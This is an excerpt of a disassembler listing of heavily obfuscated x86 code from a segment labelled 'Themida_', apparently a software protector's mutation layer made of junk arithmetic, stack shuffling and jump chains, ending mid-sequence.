sub_595DDF proc near ; DATA XREF: Themida_:005909ACo
; FUNCTION CHUNK AT 00592E5E SIZE 00000005 BYTES
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp+0], cl
pushf
jmp loc_592E5E
sub_595DDF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595DEE: ; CODE XREF: sub_59390B+9D7j
push esi
push esp
jmp loc_596D3D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push esi
sub esp, 4
mov [esp], esp
sub esp, 4
mov [esp], edi
push 4
pop edi
add [esp+4], edi
mov edi, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
push ebp
jmp loc_591BBA
; ---------------------------------------------------------------------------
loc_595E28: ; CODE XREF: Themida_:0059B493j
push dx
mov dh, 0B4h
add al, dh
jmp loc_5A52D7
; ---------------------------------------------------------------------------
loc_595E33: ; CODE XREF: Themida_:00591E5Bj
add edi, 3AA5AC76h
sub edi, 0F8909FCh
mov edx, edi
pop edi
jmp loc_59F596
; ---------------------------------------------------------------------------
loc_595E47: ; CODE XREF: Themida_:005A1D5Dj
mov esp, [esp]
jmp loc_594369
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_595E4F: ; CODE XREF: sub_59CAFB-948Ej
pop ebp
pop ebx
mov ebx, ecx
mov ecx, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
jmp loc_597DF6
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_595E6D: ; CODE XREF: Themida_:005944BFj
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push eax
push 40520AD0h
pop eax
jmp loc_59E164
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_595E89: ; CODE XREF: sub_5A4CDD-BAB8j
pop eax
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
xor ebx, esi
xor esi, ebx
jmp loc_591F3B
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_595E9F: ; CODE XREF: Themida_:005987B7j
pop esp
push edx
jmp loc_59F66B
; ---------------------------------------------------------------------------
loc_595EA6: ; CODE XREF: Themida_:0059B7B5j
push eax
mov eax, 4F371C49h
jmp loc_5977A7
; ---------------------------------------------------------------------------
loc_595EB1: ; CODE XREF: Themida_:005990F9j
shr edi, 4
sub edi, 5ED41006h
add edi, 5DCE2929h
jmp loc_5A1793
; ---------------------------------------------------------------------------
loc_595EC5: ; CODE XREF: Themida_:0059B416j
not ebx
jmp loc_59E140
; ---------------------------------------------------------------------------
loc_595ECC: ; CODE XREF: Themida_:005A0FFAj
push 6792h
mov [esp], edx
jmp loc_59BE76
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_595ED9 proc near ; CODE XREF: sub_59897B+3EA5j
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00592D83 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F734 SIZE 00000067 BYTES
push ebp
mov ebp, esp
jmp loc_59F734
sub_595ED9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_595EE1: ; CODE XREF: sub_5A4CDD-6F74j
pop edx
sub eax, ebp
pop ebp
xor eax, 90F371Eh
add ecx, eax
pop eax
jmp loc_593CCE
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595EF2: ; CODE XREF: sub_59390B+D5B5j
mov esi, 4A49396Ah
push ebx
push edx
jmp loc_5A4768
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595EFE: ; CODE XREF: Themida_:005A44DCj
mov ecx, [esp]
sub esp, 4
jmp loc_5A363C
; ---------------------------------------------------------------------------
loc_595F0C: ; CODE XREF: Themida_:005A261Bj
sub ecx, eax
add ecx, 1080305h
push edi
mov edi, 1A916428h
sub edi, 9FDDEDB6h
sub ecx, edi
jmp loc_598893
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_595F27: ; CODE XREF: sub_59A75E+A5B2j
mov ecx, esp
sub esp, 4
mov [esp+0Ah+var_C+2], esi
mov esi, 5CA47974h
neg esi
jmp loc_590E04
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_595F3E: ; CODE XREF: sub_59338E+DC41j
sub edx, 244363B3h
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
jmp loc_599A8B
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
loc_595F5A: ; CODE XREF: Themida_:00598DBEj
mov esi, 0ABD2C6D7h
sub esi, 7F0406E7h
sub esi, edi
push edi
jmp loc_5A3CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595F6D: ; CODE XREF: sub_59390B+F77Fj
mov ebp, 42524C65h
and ebx, ebp
pop ebp
jmp loc_5970C2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_595F7A: ; CODE XREF: sub_59CFD4+140Ej
pop esi
push dword ptr [esp+0]
pop edi
push 7
mov [esp+4+var_4], eax
jmp loc_59E3A8
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_595F8C: ; CODE XREF: Themida_:0059C739j
pop edx
shr bl, 6
inc bl
push ecx
mov ch, 28h
jmp loc_59A69D
; ---------------------------------------------------------------------------
loc_595F9A: ; CODE XREF: Themida_:0059F8BDj
add ch, dl
add ch, 0D3h
sub ch, 1Ch
mov edx, [esp]
jmp loc_590AE5
; ---------------------------------------------------------------------------
loc_595FAA: ; CODE XREF: Themida_:0059A603j
xchg edi, [esp]
pop esp
jmp loc_5989C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595FB3: ; CODE XREF: sub_59390B+2D4j
xchg eax, [esp-18h+arg_10]
pop esp
add esi, 191E6130h
sub esi, edx
sub esi, 191E6130h
push edx
mov edx, 58C579C5h
sub esi, edx
pop edx
pop edx
xchg esi, [esp-20h+arg_18]
jmp loc_59E775
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F505
loc_595FD7: ; CODE XREF: sub_59F505-A567j
or esi, ebp
pop ebp
shr esi, 8
shl esi, 1
jmp sub_5932F7
; END OF FUNCTION CHUNK FOR sub_59F505
; ---------------------------------------------------------------------------
loc_595FE4: ; CODE XREF: Themida_:005A31BFj
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59BC36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F5AB
loc_596009: ; CODE XREF: sub_59F5AB+18j
sub esi, 0E5359FE2h
or eax, esi
pop esi
jmp loc_593F57
; END OF FUNCTION CHUNK FOR sub_59F5AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_596017: ; CODE XREF: sub_599AE1+8EBCj
add eax, edx
sub eax, 137C5470h
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5A3EEE
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_59602C: ; CODE XREF: Themida_:005A4BA5j
pop edi
jmp loc_592C3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_596032: ; CODE XREF: sub_59E918+3CF6j
mov bh, 0F9h
add ch, bh
pop bx
jmp sub_59F5C8
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_59603D: ; CODE XREF: Themida_:0059B0B4j
add ebx, ecx
push eax
mov eax, 696054Eh
add ebx, eax
pop eax
pop ecx
jmp loc_594DE8
; ---------------------------------------------------------------------------
loc_59604E: ; CODE XREF: Themida_:005A3005j
xchg eax, esi
pop eax
jmp loc_5973F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_596055: ; CODE XREF: sub_5A2FE9+2192j
mov ebx, 58613AF5h
jmp loc_59775D
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; =============== S U B R O U T I N E =======================================
sub_59605F proc near ; CODE XREF: sub_59390B+4563j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00592D33 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00599CAA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C80F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FF60 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3286 SIZE 0000000C BYTES
push ebp
pop eax
pop ebp
jmp loc_5A3286
sub_59605F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596067: ; CODE XREF: sub_59390B+2868j
add esp, 4
jmp loc_591439
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_596072: ; CODE XREF: sub_59A958-82F6j
xor ebx, 73F300EDh
inc ebx
push ecx
mov ecx, 6FB301DEh
sub ebx, ecx
pop ecx
add ecx, ebx
pop ebx
xchg ecx, [esp+0]
jmp loc_59CD04
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
loc_59608D: ; CODE XREF: Themida_:005988B2j
push esi
mov esi, esp
push ebp
mov ebp, 45F13912h
shl ebp, 2
neg ebp
sub ebp, 0E83B1BB4h
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_59E54E
; ---------------------------------------------------------------------------
loc_5960B0: ; CODE XREF: Themida_:0059B301j
sub esi, 161B44AFh
add esi, ebx
jmp loc_5A0F9D
; ---------------------------------------------------------------------------
loc_5960BD: ; CODE XREF: Themida_:0059FC9Dj
mov edx, 54BC76A7h
or edx, 48A91603h
dec edx
inc edx
inc edx
not edx
jmp loc_5A0A36
; ---------------------------------------------------------------------------
loc_5960D2: ; CODE XREF: Themida_:0059AEEAj
push edi
mov edi, 35F26215h
jmp loc_59BDC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598BAA
loc_5960DD: ; CODE XREF: sub_598BAA+7437j
xor ebp, [esp+0]
mov esp, [esp+0]
cmp ecx, eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_598BAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5960EB: ; CODE XREF: sub_59390B+647j
push [esp+8+var_4]
mov ebx, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_5A0044
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596100: ; CODE XREF: Themida_:005A13DAj
mov ebx, 56EF669Bh
xor ebx, edx
pop edx
xor ecx, ebx
pop ebx
add ecx, 414655E8h
push eax
jmp loc_5A0FA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596117: ; CODE XREF: sub_59390B+4178j
and edx, edi
pop edi
neg edx
jmp loc_59B113
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_596121: ; CODE XREF: sub_5995FC+9419j
xor dh, 69h
push ecx
mov cl, 6Bh
jmp loc_5912C8
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59612C: ; CODE XREF: sub_59FD45+5AECj
mov [esp+8+var_8], ebp
mov ebp, 160E494Dh
push esi
mov esi, 2E8D4CA4h
xor ebp, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
jmp loc_5A00A8
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59614A: ; CODE XREF: sub_59390B+763j
mov ecx, 7A8157Fh
sub esi, ecx
pop ecx
add eax, esi
pop esi
push eax
push dword ptr [esp+4]
jmp loc_59F95B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59615F: ; CODE XREF: Themida_:005925D0j
push ecx
jmp loc_59C55F
; ---------------------------------------------------------------------------
loc_596165: ; CODE XREF: Themida_:005A5955j
mov ecx, [esp]
push ecx
jmp loc_59BAE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59616E: ; CODE XREF: sub_59390B+1A6Bj
xor edx, ecx
mov ecx, [esp-22h+arg_18+2]
jmp loc_596067
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596178: ; CODE XREF: Themida_:0059BBA1j
mov [esp], eax
sub esp, 4
mov [esp], edx
mov edx, 4C0C2F10h
shr edx, 7
add edx, 1F6B1818h
inc edx
jmp loc_5A42E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596198: ; CODE XREF: sub_59390B+A4A5j
push 489Ah
jmp loc_5A35D2
; ---------------------------------------------------------------------------
loc_5961A2: ; CODE XREF: sub_59390B+1854j
xchg ebx, [esp-8+arg_0]
pop esp
jmp loc_597700
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5961AB: ; CODE XREF: Themida_:0059AA98j
mov ebx, 4BAC37BAh
not ebx
dec ebx
or ebx, 7EB56FF1h
jmp loc_59808D
; ---------------------------------------------------------------------------
loc_5961BE: ; CODE XREF: Themida_:00594B75j
push ecx
mov ecx, 641A0846h
and ecx, 56655816h
sub ecx, 5719537Bh
jmp loc_59E419
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5961D5: ; CODE XREF: sub_59390B-2926j
pop [esp+8+var_8]
pop esp
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5961EA: ; CODE XREF: sub_59390B+105DEj
pop ebp
jmp loc_592857
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5961F0: ; CODE XREF: Themida_:00599F33j
mov [edi+24h], esi
mov esi, [esp]
jmp loc_5A4110
; ---------------------------------------------------------------------------
loc_5961FB: ; CODE XREF: Themida_:00594874j
mov ebx, 0C614FAB5h
jmp loc_592B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_596205: ; CODE XREF: sub_59AB43+Bj
sub edx, ebx
jmp loc_590D68
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
loc_59620C: ; CODE XREF: Themida_:005A4ADFj
mov ebx, 4
add edx, 0B101CEEh
jmp loc_5A5A0E
; ---------------------------------------------------------------------------
loc_59621C: ; CODE XREF: Themida_:005919FBj
pop eax
push dword ptr [esp]
jmp loc_597D05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_596225: ; CODE XREF: sub_59C8A4-A119j
or ebp, 12F1404Bh
add ebp, 36E53852h
sub ebx, ebp
jmp loc_5919E9
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596238: ; CODE XREF: sub_59390B-2856j
sub esi, 22B1358Dh
add esi, ebp
add esi, 22B1358Dh
pop ebp
push edi
mov edi, 4
jmp loc_59957F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598BAA
loc_596252: ; CODE XREF: sub_598BAA+Bj
add edi, ebx
pop ebx
add ebp, edi
pop edi
jmp loc_5A3346
; END OF FUNCTION CHUNK FOR sub_598BAA
; ---------------------------------------------------------------------------
loc_59625D: ; CODE XREF: Themida_:005A2EE5j
add edx, 60872409h
sub ebx, 20A6963h
add ebx, edx
add ebx, 20A6963h
mov edx, [esp]
add esp, 4
xchg ebx, [esp]
jmp loc_59E435
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59628A: ; CODE XREF: Themida_:0059A03Aj
add ah, 0FFh
mov dl, ah
mov eax, [esp]
jmp loc_5935A4
; ---------------------------------------------------------------------------
loc_596297: ; DATA XREF: Themida_:005909E8o
mov cx, [esp]
push 3334h
mov [esp], edi
push esp
pop edi
push ebp
mov ebp, 7612FC4h
inc ebp
sub ebp, 3D3E01E0h
shr ebp, 7
sub esp, 4
mov [esp], eax
mov eax, 53194779h
shl eax, 6
push edi
push 597C2753h
pop edi
sub eax, 54501CDAh
sub eax, edi
add eax, 54501CDAh
jmp loc_599C1C
; ---------------------------------------------------------------------------
loc_5962DE: ; CODE XREF: Themida_:005A01E0j
add ecx, ebx
sub ecx, 509D4593h
jmp loc_593D46
; ---------------------------------------------------------------------------
loc_5962EB: ; CODE XREF: Themida_:0059721Aj
xor [esp], edx
xor edx, [esp]
jmp loc_5A2C33
; ---------------------------------------------------------------------------
loc_5962F6: ; CODE XREF: Themida_:005A293Bj
mov edx, edi
pop edi
mov ebx, edx
pop edx
add dword ptr [esp+8], 1C00DA0h
sub [esp+8], ebx
jmp loc_59F8AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59630D: ; CODE XREF: sub_59390B+14Ej
sub edi, ebx
jmp loc_5A2CA2
; ---------------------------------------------------------------------------
loc_596314: ; CODE XREF: sub_59390B+2065j
sub ax, 4A96h
push edi
mov di, 6CB9h
push bx
sub esp, 4
mov [esp+0], eax
mov ax, 47Eh
mov bx, 40ECh
add bx, ax
jmp loc_598EA0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596335: ; CODE XREF: Themida_:0059B5DCj
push 0C657BEEFh
pop edi
add edi, 3A1C7A5Bh
jmp loc_59C87C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596346: ; CODE XREF: sub_59390B+FA7Ej
mov [esp+0], ebx
mov ebx, 3E380932h
jmp sub_5936EC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596353: ; CODE XREF: Themida_:0059FBD6j
push dword ptr [esp]
jmp loc_5A1D75
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
jmp loc_5A0CE1
; ---------------------------------------------------------------------------
loc_596370: ; CODE XREF: Themida_:0059BC39j
add edi, 4
sub edi, 4
jmp loc_593569
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596381: ; CODE XREF: sub_59390B+FA73j
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
jmp loc_5918DF
; ---------------------------------------------------------------------------
loc_596395: ; CODE XREF: sub_59390B+3390j
xor ebx, 7FFF7FEAh
push eax
jmp loc_59CCC3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5963A1: ; CODE XREF: sub_591FC5+6j
push eax
mov al, 1Bh
push ecx
mov cl, al
jmp loc_59C766
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_5963AC: ; CODE XREF: Themida_:005A3E71j
sub esp, 4
mov [esp], ecx
mov ecx, 0C4F6BEFh
push esi
mov esi, 68CE0B8Fh
add esi, 6DC07A32h
add esi, 21851128h
add ecx, esi
pop esi
add edx, 24966B1Bh
jmp loc_5A4BAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5963DA: ; CODE XREF: sub_5A17BF+306j
mov edx, 11279E0h
xor edx, 0D2246504h
sub ebp, edx
pop edx
xor esi, ebp
pop ebp
jmp loc_591B63
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_5963F0: ; CODE XREF: Themida_:0059E487j
pop esp
push 38C5h
mov [esp], edi
push esp
pop edi
push ebp
push esi
sub esp, 4
mov [esp], eax
push 48AE0F83h
pop eax
sub eax, 143F3ECCh
jmp loc_59EF01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596416: ; CODE XREF: sub_59390B-2666j
mov esi, 4
add ecx, esi
push dword ptr [esp+0]
jmp loc_59D08C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596425: ; CODE XREF: Themida_:0059FFFCj
mov esi, 781F3B0Dh
sub ebp, esi
pop esi
pop ebx
push esi
mov esi, 70345737h
dec esi
neg esi
xor esi, 88D9D90Fh
add edx, esi
pop esi
add edx, ebp
jmp loc_591009
; ---------------------------------------------------------------------------
loc_596447: ; CODE XREF: Themida_:00591529j
or ebp, 5ECF1794h
shr ebp, 1
push ecx
jmp loc_5918EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596455: ; CODE XREF: sub_59390B+447j
xchg ecx, [esp-1Eh+arg_14+2]
mov esp, [esp-1Eh+arg_14+2]
mov [esp-1Eh+arg_14+2], esi
push edx
push 414D1D9Fh
mov edx, [esp-16h+arg_C+2]
add esp, 4
jmp loc_59B6F6
; ---------------------------------------------------------------------------
loc_59646F: ; CODE XREF: sub_59390B+809Aj
add [ecx], ebx
jmp loc_59AA9D
; ---------------------------------------------------------------------------
loc_596476: ; CODE XREF: sub_59390B+997Dj
mov [esp-1Ah+arg_10+2], esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 2
add esi, ebx
jmp loc_5A5492
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59648E: ; CODE XREF: Themida_:00595235j
add esp, 4
add esp, 4
add ebx, 4
add ebx, 4
push ebx
jmp loc_5A5A68
; ---------------------------------------------------------------------------
loc_5964A9: ; CODE XREF: Themida_:005A5A8Fj
push edi
jmp loc_596A6F
; =============== S U B R O U T I N E =======================================
sub_5964AF proc near ; CODE XREF: sub_59390B+AA85j
var_4 = dword ptr -4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 00590B5F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005918CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005929BF SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059334B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059508E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059917C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005994C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599883 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B073 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B15A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B325 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D0F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FAE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3524 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3823 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A46E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4789 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A489A SIZE 00000008 BYTES
sub esp, 4
jmp loc_59FAE8
sub_5964AF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5964B7 proc near ; DATA XREF: Themida_:00590A04o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592D5F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005947EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594903 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594A06 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00595D7D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597F18 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059E02C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059E993 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2D6E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3CBA SIZE 00000009 BYTES
movzx ax, byte ptr [edx]
push 7497h
mov [esp+4+var_4], ebp
sub esp, 4
jmp loc_5A3CBA
sub_5964B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5964CB: ; CODE XREF: sub_59FCCB-6D2Ej
add ebx, edi
push 5E1Ch
mov [esp+10h+var_10], edx
sub esp, 4
mov [esp+14h+var_14], ebx
jmp loc_59B6D8
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_5964E0: ; CODE XREF: sub_5A085D-F1B1j
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
pop esp
jmp loc_59EE14
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
loc_5964EF: ; CODE XREF: Themida_:0059A916j
sub eax, 393A4D45h
mov edi, eax
pop eax
push edi
mov edi, 0D495563h
sub edi, 0AA1EE2AFh
add edx, edi
pop edi
jmp loc_5A4369
; ---------------------------------------------------------------------------
loc_59650B: ; CODE XREF: Themida_:005937B5j
mov edi, 4C203C2Eh
add edi, 0B3DFC3D6h
add ebp, 0BCA1FD7h
add ebp, edi
push ebx
mov ebx, 2452A61h
add ebx, 73EC6433h
jmp loc_59FB2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59652F: ; CODE XREF: sub_59FD45+4BA0j
add esp, 4
push [esp+8+var_8]
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0Ch+var_C]
jmp loc_59A1CF
; END OF FUNCTION CHUNK FOR sub_59FD45
; =============== S U B R O U T I N E =======================================
sub_59654E proc near ; CODE XREF: sub_59390B+154Fj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005917B2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592010 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059276C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592EB3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594C92 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595A0A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059686D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00596BDC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596E00 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597987 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005983AC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599A3B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00599EBA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B769 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BDA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BE52 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DC04 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E7DE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F081 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A147E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A428D SIZE 00000021 BYTES
push ebp
mov ebp, 2B334DCAh
add ebp, 0D4CCB23Ah
add ecx, ebp
jmp loc_594C92
sub_59654E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596561: ; CODE XREF: sub_59390B+A7B9j
mov ebp, [esp-16h+arg_C+2]
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
push eax
jmp loc_590FE0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59657B: ; CODE XREF: Themida_:00599634j
shr cl, 5
xor cl, 0FAh
jmp loc_591A29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_596586: ; CODE XREF: sub_59FCCB-E336j
mov bh, 0C1h
xor bh, dh
jmp loc_5927B1
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_59658F: ; CODE XREF: Themida_:00594CB9j
sub esi, 358465D8h
add esi, ebx
add esi, 358465D8h
mov ebx, [esp]
jmp loc_5981B8
; ---------------------------------------------------------------------------
loc_5965A5: ; CODE XREF: Themida_:005A160Aj
mov ecx, 0B440045h
push edi
mov edi, ecx
mov edx, edi
pop edi
pop ecx
add edx, 6E2B7D5Eh
push ebp
mov ebp, 36C0034h
and ebp, 79423C1Dh
